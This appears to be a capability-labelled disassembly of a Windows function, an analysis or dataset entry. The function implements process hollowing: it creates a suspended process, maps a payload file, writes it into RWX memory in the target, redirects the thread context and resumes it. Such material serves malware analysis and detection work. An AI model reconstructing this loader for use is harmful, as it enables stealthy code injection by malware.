Function at 0x1400011e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Read file via mapping
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
mov r12, 0xffffffffffffffff
mov qword [rsp + 0x50], r8
mov rbx, r12
mov r13, r8
mov r14, rdx
mov rsi, rcx
nop dword [rax + rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x140001230
mov rdi, r12
nop dword [rax]
inc rdi
cmp byte [rdx + rdi], 0
jne 0x140001240
mov rcx, rbx
add rcx, 1
cmovb rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rdi
mov qword [rsp + 0x68], rax
add rcx, 1
mov r15, rax
cmovb rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, r15
mov qword [rsp + 0x58], rax
mov r12, rax
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov r9d, ebx
mov r8, r15
mov rcx, r13
call section..text
mov r9d, edi
mov r8, r12
mov rcx, r13
call section..text
xorps xmm4, xmm4
lea rcx, [rbp]
xor eax, eax
xorps xmm0, xmm0
xor edx, edx
mov qword [rbp - 0x10], rax
mov r8d, 0x4d0
mov qword [rbp - 0x80], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x70], xmm4
movups xmmword [rbp - 0x60], xmm4
movups xmmword [rbp - 0x50], xmm4
movups xmmword [rbp - 0x40], xmm4
movups xmmword [rbp - 0x30], xmm4
movups xmmword [rbp - 0x20], xmm4
call sub.VCRUNTIME140.dll_memset
xor edi, edi
mov dword [rbp + 0x30], 0x10000b
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp - 0x70]
xor edx, edx
mov qword [rsp + 0x40], rax
mov rcx, r15
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001365
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_process.
call fcn.1400015e0
mov rcx, rax
lea rdx, [0x1400017c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r15
jmp 0x140001532
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x1400013cb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_payload_file.
call fcn.1400015e0
mov rcx, rax
lea rdx, [0x1400017c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r15
jmp 0x140001532
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], edi
mov r8d, 2
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov qword [rsp + 0x60], rax
xor r8d, r8d
mov edx, 4
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r9d, 4
lea r8, [rbp - 0x78]
mov r14, rax
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
mov ecx, dword [rsi + 0x28]
mov ebx, dword [rsi + 0x50]
mov dword [rbp - 0x78], ecx
mov rcx, qword [rsp + 0x50]
call section..text
mov rcx, qword [rsp + 0x70]
mov r8d, ebx
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsi + 0x54]
mov r8, r14
mov rcx, qword [rsp + 0x70]
mov rdx, rax
mov r15, rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
cmp ax, word [rsi + 6]
jae 0x1400014b3
lea rbx, [rsi + 0x11c]
xor r12d, r12d
nop word [rax + rax]
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
add r8, r14
mov r9d, dword [rbx - 4]
add rdx, r15
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
lea rbx, [rbx + 0x28]
inc edi
cmp edi, eax
jl 0x140001480
mov r12, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x78]
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x50]
lea r8, [rbp - 0x78]
mov r9d, 4
call section..text
mov eax, dword [rbp - 0x78]
lea rdx, [rbp]
mov rcx, qword [rsp + 0x78]
add rax, r15
mov qword [rbp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.140001880
mov rbx, qword [rsp + 0x638]
add rsp, 0x5e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret